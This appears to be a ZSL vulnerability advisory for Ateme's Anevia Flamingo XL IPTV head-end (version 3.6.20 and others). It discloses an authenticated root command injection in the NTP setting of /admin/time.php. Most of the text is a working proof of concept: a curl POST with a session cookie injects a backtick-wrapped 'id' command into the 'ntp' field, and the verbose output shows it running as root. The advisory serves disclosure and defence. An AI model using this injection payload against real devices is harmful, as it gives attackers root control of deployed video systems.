Anevia Flamingo XL 3.6.20 Authenticated Root Remote Code Execution

Anevia Flamingo XL 3.6.20 Authenticated Root Remote Code ExecutionVendor: AtemeProduct web page: https://www.ateme.comAffected version: 3.6.20, 3.2.9                  Hardware revision 1.1, 1.0                  SoapLive 2.4.1, 2.0.3                  SoapSystem 1.3.1Summary: Flamingo XL, a new modular and high-density IPTV head-endproduct for hospitality and corporate markets. Flamingo XL captureslive TV and radio content from satellite, cable, digital terrestrialand analog sources before streaming it over IP networks to STBs, PCsor other IP-connected devices. The Flamingo XL is based upon a modular4U rack hardware platform that allows hospitality and corporate videoservice providers to deliver a mix of channels from various sourcesover internal IP networks.Desc: The affected device suffers from authenticated remote codeexecution vulnerability. A remote attacker can exploit this issueand execute arbitrary system commands granting her system accesswith root privileges.Tested on: GNU/Linux 3.1.4 (x86_64)           Apache/2.2.15 (Unix)           mod_ssl/2.2.15           OpenSSL/0.9.8g           DAV/2           PHP/5.3.6Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2023-5779Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5779.php13.04.2023--> curl -vL http://192.168.1.1/admin/time.php -H "Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4" -d "ntp=`id`&request=ntp&update=Sync" |findstr root  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 192.168.1.1:80...* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)> POST /admin/time.php HTTP/1.1> Host: 192.168.1.1> User-Agent: curl/8.0.1> Accept: */*> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4> Content-Length: 32> Content-Type: application/x-www-form-urlencoded>} [32 bytes data]100    32    0     0  100    32      0     25  0:00:01  0:00:01 --:--:--    25< HTTP/1.1 302 Found< Date: Thu, 13 Apr 2023 23:54:15 GMT< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6< X-Powered-By: PHP/5.3.6< Expires: Thu, 19 Nov 1981 08:52:00 GMT< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache* Please rewind output before next send< Location: /admin/time.php< Transfer-Encoding: chunked< Content-Type: text/html<* Ignoring the response-body{ [5 bytes data]100    32    0     0  100    32      0     19  0:00:01  0:00:01 --:--:--    19* Connection #0 to host 192.168.1.1 left intact* Issue another request to this URL: 'http://192.168.1.1/admin/time.php'* Switch from POST to GET* Found bundle for host: 0x1de6c6321b0 [serially]* Re-using existing connection #0 with host 192.168.1.1> POST /admin/time.php HTTP/1.1> Host: 192.168.1.1> User-Agent: curl/8.0.1> Accept: */*> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4>< HTTP/1.1 200 OK< Date: Thu, 13 Apr 2023 23:54:17 GMT< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6< X-Powered-By: PHP/5.3.6< Expires: Thu, 19 Nov 1981 08:52:00 GMT< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache< Transfer-Encoding: chunked< Content-Type: text/html<{ [13853 bytes data]14 Apr 03:54:17 ntpdate[8964]: can't find host uid=0(root)<br />    <----------------------<<14 Apr 03:54:17 ntpdate[8964]: can't find host gid=0(root)<br />    <----------------------<<100 33896    0 33896    0     0  14891      0 --:--:--  0:00:02 --:--:--   99k* Connection #0 to host 192.168.1.1 left intact